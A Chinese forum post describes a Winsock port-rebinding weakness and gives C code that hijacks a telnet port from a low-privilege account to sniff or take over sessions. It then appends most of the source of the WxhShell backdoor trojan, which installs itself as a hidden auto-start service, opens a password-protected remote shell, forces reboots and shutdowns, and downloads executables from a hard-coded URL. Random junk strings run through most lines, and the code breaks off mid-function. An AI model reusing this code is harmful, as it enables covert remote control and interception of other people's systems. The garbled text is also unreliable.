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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: at,XB.}Z]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SE1=>S%p  
'-Vt|O_Q  
  saddr.sin_family = AF_INET; . 1Dg s=|  
)vE~'W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); t.i 8 2Q  
EM(gmWHij  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); tEvut=k'  
u04kF^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 'c9]&B  
Yg||{  
  这意味着什么?意味着可以进行如下的攻击: _-K2/6zy  
#lL^?|M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 UGV+/zxIM  
;n*.W|Uph  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =O5pY9UO  
TrEu'yxy8*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $ r@zs'N  
E Nh l&J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Q{>+ft U  
<lPm1/8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *v!9MU9[(  
BYL)nCc  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /T0F"e)Ci  
U ]H#MiC!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ) j#`r/  
PUMXOTu]  
  #include 2lH&  
  #include 3Ei#q+7  
  #include BLQ6A<  
  #include    {HltvO%8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $w`x vX  
  int main() pP&7rRhw  
  { Qb-M6ihcc  
  WORD wVersionRequested; ;"5&b!=t  
  DWORD ret; l *(8i ^  
  WSADATA wsaData; M2,l7  
  BOOL val; -A^_{4X  
  SOCKADDR_IN saddr; +SR+gE\s0  
  SOCKADDR_IN scaddr; P^ ~yzI  
  int err; _7Ju  
  SOCKET s; 4yy>jXDG  
  SOCKET sc; dd%6t  
  int caddsize; P9^Xm6QO  
  HANDLE mt; e5ZX   
  DWORD tid;   24 'J  
  wVersionRequested = MAKEWORD( 2, 2 ); z% ?+AM)P  
  err = WSAStartup( wVersionRequested, &wsaData ); @e.C"@G  
  if ( err != 0 ) { %HhnSi1K  
  printf("error!WSAStartup failed!\n"); [Gb. JO}X  
  return -1; \h/H#j ZJ  
  } ]vUwG--*  
  saddr.sin_family = AF_INET; cKca;SNql1  
   r,73C/*&/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 RLjc&WhzXu  
*SJ_z(CZm  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {#vgtgBB  
  saddr.sin_port = htons(23); y&$A+peJ1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gV's=cQ  
  { KxJ!,F{>H  
  printf("error!socket failed!\n"); %v M-mbX  
  return -1; x)DMPVB<  
  } {BN#h[#B{  
  val = TRUE; g*AWE,%=|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *a M=Z+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,q`\\d  
  { b|:YIXml  
  printf("error!setsockopt failed!\n"); ~g]Vw4pv  
  return -1; ;WQve_\  
  } Ua: sye  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gD @){Ip  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lgL%u K)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BA:VPTZq  
N)X3XTY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) IVY]EkEG~  
  { Woy m/[i  
  ret=GetLastError(); reu*53r]  
  printf("error!bind failed!\n"); Q~ w|#  
  return -1; Rsm^Z!sn  
  } Vx u0F]%  
  listen(s,2); tCH!my_  
  while(1) rpha!h>w1%  
  { q"lSZ; 'E  
  caddsize = sizeof(scaddr); -=Q*Ml#I  
  //接受连接请求 +5*95-;0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >1Ibc=}g  
  if(sc!=INVALID_SOCKET) )D7m,Wi+  
  { D%pF;XY  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `4J$Et%S  
  if(mt==NULL) K\Wkoi5  
  { iOghb*aW  
  printf("Thread Creat Failed!\n"); p?OoC  
  break; Dw.J2>uj  
  } BL }\D;+t  
  } )qw&%sO +  
  CloseHandle(mt); ~TD0z AA&  
  } <)H9V-5aZ  
  closesocket(s); ~qKY) "gG  
  WSACleanup(); 'n3uu1C  
  return 0; %J?xRv!  
  }   Ffz,J6b  
  DWORD WINAPI ClientThread(LPVOID lpParam) JX;G<lev  
  { QA`sx  
  SOCKET ss = (SOCKET)lpParam; aeJHMHFc  
  SOCKET sc; Ee! 4xg  
  unsigned char buf[4096]; {%H'z$|{  
  SOCKADDR_IN saddr; %ntRG !  
  long num; /$?}Y L,  
  DWORD val; Xl#ggub?  
  DWORD ret; ![=yi tB  
  //如果是隐藏端口应用的话,可以在此处加一些判断 UB@+c k  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Bnxm HGP#&  
  saddr.sin_family = AF_INET; F^;ez/Gl  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V b?oJhR  
  saddr.sin_port = htons(23); X.{S*E:$u  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^jZbo {  
  { m<Dy<((_I  
  printf("error!socket failed!\n"); FTUv IbT  
  return -1; |/{=ww8|  
  } SY\ gXO8k  
  val = 100; ",; H`V  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~B?y{  
  { :DNY7TvZ  
  ret = GetLastError(); 0S!K{xyR  
  return -1; k?^z;Tlvw  
  } $%#!bV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q>+k@>bk @  
  { JPw.8|V)y  
  ret = GetLastError(); ]{@-HTt  
  return -1; ( Erc3Ac8  
  } S2&4g/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) + =</&Tm  
  { %7.30CA|#  
  printf("error!socket connect failed!\n"); hRhe& ,v  
  closesocket(sc); YNF k  
  closesocket(ss); <PH #[dH  
  return -1; htF] W|z  
  } T(Eugl"  
  while(1) NZ0;5xGR  
  { HIZe0%WPw  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2^ nxoye  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E ~<JC"]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ](8[}CeL  
  num = recv(ss,buf,4096,0); G_,jgg7  
  if(num>0) OQJ6e:BGt  
  send(sc,buf,num,0); -FaJ^CN~  
  else if(num==0) /*mI<[xb  
  break; /h3RmUy   
  num = recv(sc,buf,4096,0); 8&slu{M- t  
  if(num>0) + cN8Y}V  
  send(ss,buf,num,0); A3/k@S-R2  
  else if(num==0) 1mG-}  
  break; kt:! 7  
  } YIYmiv5  
  closesocket(ss); EaN6^S=  
  closesocket(sc); N`e[:[  
  return 0 ; XXa|BZ1RX  
  } cVF "!.  
3 Za}b|  
AoxA+.O  
========================================================== U>N1Od4vTO  
N<}5A%  
下边附上一个代码,,WXhSHELL wb l&  
ZD{LXJ{Vm  
========================================================== 6j}9V L77  
4,DeHJjAlE  
#include "stdafx.h" t b}V5VH  
/k3:']G,s  
#include <stdio.h> ( a#BV}=  
#include <string.h> v.qrz"98-  
#include <windows.h> &tj!*k'  
#include <winsock2.h> 4.t-i5  
#include <winsvc.h> ^ [@ ,  
#include <urlmon.h> Ysv" 6b}  
a&? :P1$  
#pragma comment (lib, "Ws2_32.lib") .$vK&k  
#pragma comment (lib, "urlmon.lib") 7qS)c}Q\  
Y}wyw8g/  
#define MAX_USER   100 // 最大客户端连接数 G4"F+%.  
#define BUF_SOCK   200 // sock buffer A*BeR0(  
#define KEY_BUFF   255 // 输入 buffer Nj/ x. X  
xJ.M;SF4  
#define REBOOT     0   // 重启 0</);g}  
#define SHUTDOWN   1   // 关机 Z,PPu&lmE/  
=rdV ]{Wc  
#define DEF_PORT   5000 // 监听端口 tKXIk9e  
'm$L Ij?@  
#define REG_LEN     16   // 注册表键长度 )9]PMA?u  
#define SVC_LEN     80   // NT服务名长度 p4Z(^+Aa  
vnuN6M{  
// 从dll定义API Ig{0Z">  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nX8v+:&}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c-sfg>0^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b&U62iq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c7H^$_^=  
} 0y"F  
// wxhshell配置信息 pMM8-R'W-  
struct WSCFG { ]7A'7p $Y  
  int ws_port;         // 监听端口 493*{  
  char ws_passstr[REG_LEN]; // 口令 7b+6%fV  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?}Y]|c^W  
  char ws_regname[REG_LEN]; // 注册表键名 oQJtUP%  
  char ws_svcname[REG_LEN]; // 服务名 pd$[8Rmj_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _lq`a\7e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Tw<q,O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1< ?4\?j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x kD6Iw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MF'JeM;H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6ik$B   
, W?VhO  
}; .T`%tJ-Em  
Tp2.VIoQ=  
// default Wxhshell configuration 1_G^w qk  
struct WSCFG wscfg={DEF_PORT, ) )Za&S*<  
    "xuhuanlingzhe", r<$y= B  
    1, M"L=L5OH-  
    "Wxhshell", RxQ*  
    "Wxhshell", E"IZ6)Q  
            "WxhShell Service", Dw"\/p:-3  
    "Wrsky Windows CmdShell Service", 7zj{wp!  
    "Please Input Your Password: ", nO-#Q=H,  
  1, h{qgEIk&  
  "http://www.wrsky.com/wxhshell.exe", rPm x  
  "Wxhshell.exe" yB!dp;gM{  
    }; ?e?!3Bx;EM  
t_1L L >R  
// 消息定义模块 /x *3}oI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \w8\1~#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7d\QB (~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K (|}dl:  
char *msg_ws_ext="\n\rExit."; C,eu9wOT  
char *msg_ws_end="\n\rQuit."; l U]nd[x  
char *msg_ws_boot="\n\rReboot..."; 7t3!) a|lI  
char *msg_ws_poff="\n\rShutdown..."; k}rbim  
char *msg_ws_down="\n\rSave to "; }6ldjCT/,  
% ] U  
char *msg_ws_err="\n\rErr!"; vP,n(reM  
char *msg_ws_ok="\n\rOK!"; N$tGQ@  
e'<)V_  
char ExeFile[MAX_PATH]; NxILRKwO  
int nUser = 0; 0"SU_j Qzv  
HANDLE handles[MAX_USER]; Iga0 24KR  
int OsIsNt; w32y3~  
LR3*G7  
SERVICE_STATUS       serviceStatus; ?q [T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y1#1Ne_  
7}mFL*  
// 函数声明 wuo,kM  
int Install(void); T u'{&  
int Uninstall(void); 19] E 5'AI  
int DownloadFile(char *sURL, SOCKET wsh); !<h)w#>en  
int Boot(int flag); xyxy`qRA  
void HideProc(void); @(lh%@hO  
int GetOsVer(void); l+b~KU7~l  
int Wxhshell(SOCKET wsl); |vC~HJpuv'  
void TalkWithClient(void *cs); {.]7!ISl5  
int CmdShell(SOCKET sock); 2KZneS`  
int StartFromService(void); ;FEqe 49  
int StartWxhshell(LPSTR lpCmdLine); [fy LV`  
K)P%;X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !@"OB~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rZpXPI  
3(UVg!t  
// 数据结构和表定义 %}T6]S)%u  
SERVICE_TABLE_ENTRY DispatchTable[] = H;"4 C8K7  
{ !`r$"}g  
{wscfg.ws_svcname, NTServiceMain}, )M^ gT}M  
{NULL, NULL} ]_$[8#kg  
}; w2'5#`m  
5-A\9UC*@  
// 自我安装 vKR[&K{Z|  
int Install(void) Yr|4Fl~U  
{ +H2Qk4XFB  
  char svExeFile[MAX_PATH]; 4Po_-4  
  HKEY key; C9;kpqNG#u  
  strcpy(svExeFile,ExeFile); c*M} N?|6  
,"ql5Q4  
// 如果是win9x系统,修改注册表设为自启动 "Rl}VeDY  
if(!OsIsNt) { K<J9 ~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :zR!/5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T8NxJmYqB  
  RegCloseKey(key); T^q 0'#/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mb=" Te>|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fXB0j;A  
  RegCloseKey(key); Z6m)tZVM  
  return 0; p b,. r  
    } :v 4]D4\o  
  } IR bfNq^:  
} WF"k[2  
else { #LCb  
LgYq.>Nl9  
// 如果是NT以上系统,安装为系统服务 [00m/fT6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -F>jIgeC2v  
if (schSCManager!=0) I}Q2Vu<  
{ T9&1VW  
  SC_HANDLE schService = CreateService wQLSf{2  
  ( DTs;{c  
  schSCManager, +/\6=).\  
  wscfg.ws_svcname, B erwI 7!=  
  wscfg.ws_svcdisp, l;V173W=&  
  SERVICE_ALL_ACCESS, tMe~vq[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QSj]ZA  
  SERVICE_AUTO_START, xezcAwW  
  SERVICE_ERROR_NORMAL, %>s |j'{  
  svExeFile, p 4)Q&k!  
  NULL, wNX]7wMX  
  NULL, ?%kV?eu'  
  NULL, 8XbT`y  
  NULL, mV m Gg,  
  NULL I 2DpRMy  
  ); J8~haim  
  if (schService!=0) 9>$p  
  { $ulOp;~A%  
  CloseServiceHandle(schService); L=h'Qgk%  
  CloseServiceHandle(schSCManager); .sA.C] f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <\FH fE  
  strcat(svExeFile,wscfg.ws_svcname); :H[6Lg\*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  z$Qbj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0(btA~'*  
  RegCloseKey(key); SY8C4vb'h  
  return 0; U<-D(J  
    } CH/rp4NeSy  
  } ^W@5TkkBQq  
  CloseServiceHandle(schSCManager); "h ^Z  
} )CyS#j#=  
} 2BobH_ H  
J-4:H gx  
return 1; b>$S<td  
} !%>7Dw(kt  
bN88ua}k{  
// 自我卸载 iR0y"Cii  
int Uninstall(void) O1kl70,`R  
{ ]{LjRSV  
  HKEY key; &~w}_Fjk  
*owU)  
if(!OsIsNt) { yppo6HGD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D3A/l  
  RegDeleteValue(key,wscfg.ws_regname); 5M_H NWi4  
  RegCloseKey(key); p<;0g9,1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,Lt[\_  
  RegDeleteValue(key,wscfg.ws_regname); |)G<,FJQE_  
  RegCloseKey(key); Xry4 7a )  
  return 0; R FH0  
  } { BHO/q3  
} G#1GXFDO{  
} PxE3K-S)G  
else { \|ao`MMaD<  
v.ui!|c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bu"!jHPB  
if (schSCManager!=0) a'z7(8$$  
{ ~v"L!=~G;a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m4yL@d,Yw  
  if (schService!=0) '%`:+]!  
  { fxIf|9Qi`  
  if(DeleteService(schService)!=0) { {zFMmPid  
  CloseServiceHandle(schService); [fIg{Q  
  CloseServiceHandle(schSCManager);  7[wieYj{  
  return 0; I2^8pTLh  
  } <^uBoKB/f  
  CloseServiceHandle(schService); bs'n+:X `  
  } ]0\MmAJRn  
  CloseServiceHandle(schSCManager); 8KNZ](Dj  
} cs'{5!i]  
} wa3}SB  
uM'Jp?  
return 1; a@*\o+Su  
} Qw)c$93  
\^%}M!tan  
// 从指定url下载文件 )F2OT<]m,  
int DownloadFile(char *sURL, SOCKET wsh) +2j AC r  
{ BF<ikilR  
  HRESULT hr; {qMIGwu  
char seps[]= "/"; @ry_nKr9  
char *token; ]g&TKm  
char *file; y^%y<~f  
char myURL[MAX_PATH]; AzxXB  
char myFILE[MAX_PATH]; 7\q~%lDE  
6MkP |vr6  
strcpy(myURL,sURL); ;w[0t}dPl  
  token=strtok(myURL,seps); OydwE  
  while(token!=NULL) O0y_Lm\  
  { 09Cez\0  
    file=token; 0K2`-mL  
  token=strtok(NULL,seps); C2Tyoza  
  } xZv#Es%#  
?3xzd P  
GetCurrentDirectory(MAX_PATH,myFILE); jalg5`PU0  
strcat(myFILE, "\\"); @|%2f@h  
strcat(myFILE, file); #lW`{i  
  send(wsh,myFILE,strlen(myFILE),0); I 2|Bg,e  
send(wsh,"...",3,0); &JI8]JmU)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W{gb:^;zb  
  if(hr==S_OK) 6i~WcAs  
return 0; e)O 4^#i  
else |H+Wed|  
return 1; k)Qtfj}uij  
680o)hh4m>  
} :Z z '1C  
{> 0wiH#!E  
// 系统电源模块 ( ICd}  
int Boot(int flag) \;"=QmRD%:  
{ }U9G    
  HANDLE hToken; u-5{U-^_  
  TOKEN_PRIVILEGES tkp; (=@h23 vH  
/~f'}]W  
  if(OsIsNt) { xlg9TvvI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q%?in+l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H+Sz=tg5  
    tkp.PrivilegeCount = 1; 3;s\OW`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .h4 \Y A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Np0u,t%vs  
if(flag==REBOOT) { q#=(e:aCb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *ppffz  
  return 0; "!%l/_p?  
} nQ,HMXj  
else { hFl^\$Re  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9j9TPyC/2  
  return 0; MFAH%Z$  
} n#OB%@]<V  
  } J6FV]Gpv  
  else { ?m? ::RH  
if(flag==REBOOT) { r|Tcfk]%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K&KWN]  
  return 0; 8eHyL  
} s6^>F/x  
else { 3x'|]Ns  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W]5w \  
  return 0; ^RtIh-Z.9  
} b?QoS|<e?  
} ` v@m-j6  
Ge-vWf-RbB  
return 1; ? '{SX9  
} @7j AL-  
v<(  
// win9x进程隐藏模块 "mvt>X  
void HideProc(void) h|{]B,.Lh  
{ DG:Z=LuJr  
[}0haTYc4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q|?L*Pq2I  
  if ( hKernel != NULL ) \Et3|Iv  
  { (S\[Y9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U0N 60  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SmSH2m-  
    FreeLibrary(hKernel); U/l&tmIVY  
  } 'Xq| Kf (  
X=fYWj[H,  
return; )ea>%  
} S2GxV/E  
O5nD+qTQ#  
// 获取操作系统版本 EVC]sUT  
int GetOsVer(void) ~;{; ,8!)  
{ 54R#W:t  
  OSVERSIONINFO winfo; !_'ur>iR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 65$+{s  
  GetVersionEx(&winfo); *VhL\IjN]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MJ [m  
  return 1; LR.<&m%~.  
  else 41?HY{&2  
  return 0; /zVOK4BqN+  
} B; h"lv  
.jT#:_  
// 客户端句柄模块 XXcl{1Kp!@  
int Wxhshell(SOCKET wsl) Jgd'1'FOs  
{ P'[3Fqe  
  SOCKET wsh; EC!02S  
  struct sockaddr_in client; Mc_YPR:C  
  DWORD myID; .Una+Z  
3E $f)  
  while(nUser<MAX_USER) Q%tXQP.r  
{ W^LY'ypT  
  int nSize=sizeof(client); ex (.=X 1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ""F5z,'  
  if(wsh==INVALID_SOCKET) return 1; cZU=o\  
k(7&N0V%zz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CiLg]va   
if(handles[nUser]==0) YdC6k?tzS  
  closesocket(wsh); Nk VK  
else /,&<6c-Q@W  
  nUser++; [<6^qla  
  } FX`>J6l:X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KD7dye  
]uJ"?k=  
  return 0; {|_M # w~&  
}  zC@o  
j<jN05p  
// 关闭 socket })8N5C+KU  
void CloseIt(SOCKET wsh) vB|hZTW  
{ aPfO$b:  
closesocket(wsh); J1RJ*mo7,  
nUser--; GmEJhr.3`=  
ExitThread(0); cyv`B3}  
} 4n g]\ituS  
JZ*/,|1}EC  
// 客户端请求句柄 BmMGx8P  
void TalkWithClient(void *cs) u9GQU  
{ L<-_1!wh  
FvXZ<(A{  
  SOCKET wsh=(SOCKET)cs; \[_t]'p  
  char pwd[SVC_LEN]; a /l)qB#  
  char cmd[KEY_BUFF]; 0s3%Kqi[  
char chr[1]; g:D>.lKd  
int i,j; |[ k.ii6iO  
~>Fu5i $i  
  while (nUser < MAX_USER) { L Mbn  
i8[t=6Rm@  
if(wscfg.ws_passstr) { %D}kD6=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aweV#j(y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FR4QUk  
  //ZeroMemory(pwd,KEY_BUFF); O%zU-_|*  
      i=0; Cc' 37~6~P  
  while(i<SVC_LEN) { 8\ +T8(m  
G"U9E5O  
  // 设置超时 YYl4"l  
  fd_set FdRead; ~tUl}  
  struct timeval TimeOut; kmsb hYM)  
  FD_ZERO(&FdRead); eH3JyzzP,  
  FD_SET(wsh,&FdRead); &5spTMw8  
  TimeOut.tv_sec=8; O-~ 7b(Z  
  TimeOut.tv_usec=0; &<5zqsNJ\a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wh\}d4gN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YY((V@|K  
7BjJhs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (Hz^)5(~  
  pwd=chr[0]; ZaDyg"Tw+  
  if(chr[0]==0xd || chr[0]==0xa) { )oDHeU<&  
  pwd=0; z Rl3KjET  
  break; :W:K:lk  
  } lhz{1P]s  
  i++; qL&[K>2z  
    } E$:*NSXj  
W*4-.*U8a  
  // 如果是非法用户,关闭 socket zyc"]IzOU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c~$)UND^  
} Y1OkkcPb{  
}QcCS2)Ud  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KL:j?.0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "Hb"F?Yb  
KRLQ #,9  
while(1) { WJndoB.f[2  
1i"WDu*h3  
  ZeroMemory(cmd,KEY_BUFF); 5k3n\sqZA  
<fjX[l<Uz  
      // 自动支持客户端 telnet标准    |`f$tj  
  j=0; Z!#!Gu*V  
  while(j<KEY_BUFF) { 1onM j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z8~NZ;A  
  cmd[j]=chr[0]; #`iB`|  
  if(chr[0]==0xa || chr[0]==0xd) { .hP D$o  
  cmd[j]=0; ARVf[BAJ-*  
  break; Zq|I,l0+E  
  } *vN-Vb^2i)  
  j++; a %'the  
    } _AYK435>N  
o\<ULW*  
  // 下载文件 *@r/5pM2}  
  if(strstr(cmd,"http://")) { }bpQq6ZF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +L| ?~p`V  
  if(DownloadFile(cmd,wsh)) M~#gRAUJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %@ODs6 R0  
  else mpEK (p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sh~dwxp*"  
  } }6}l7x  
  else { r CHl?J  
'&R2U_  
    switch(cmd[0]) { @=Uh',F  
  i2A81>68<  
  // 帮助 A*R^n}sh  
  case '?': { | y# Jx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y8Z_Itlf  
    break; }wjw:M  
  } "3"V3w  
  // 安装 N1S{suic  
  case 'i': { vq0Tk bzs  
    if(Install()) Oo8VeRZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &yTqZ*Yuk  
    else p* (JjH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lpz>>}  
    break; S6M}WR^,  
    } ?.-wnz  
  // 卸载 n;Q7X>-f8`  
  case 'r': { K?Nhi^f"L  
    if(Uninstall()) :&rt)/I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H8zK$!  
    else V)-+Fd,=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m6K}|j  
    break; '$IKtM`L  
    } _LUhZlw  
  // 显示 wxhshell 所在路径 K.nHii   
  case 'p': { ~ 'H ]jN  
    char svExeFile[MAX_PATH]; n;C :0  
    strcpy(svExeFile,"\n\r"); _|\~q[ep  
      strcat(svExeFile,ExeFile); GPv1fearl  
        send(wsh,svExeFile,strlen(svExeFile),0); 82qoGSD.  
    break; EHIF>@TZ  
    } wn, KY$/  
  // 重启 qzLPw*;  
  case 'b': { SC!RbW@3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  #ut  
    if(Boot(REBOOT)) 4JXeV&5Qk'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7~% ?#  
    else { *NaB#;+|k`  
    closesocket(wsh); =tn)}Y.<e  
    ExitThread(0); 0c]/bs{}  
    } 9C9oUtS  
    break; ,vawzq[oSy  
    } 0 [# 3;a  
  // 关机 a=1@*ID  
  case 'd': { NC`aP0S  
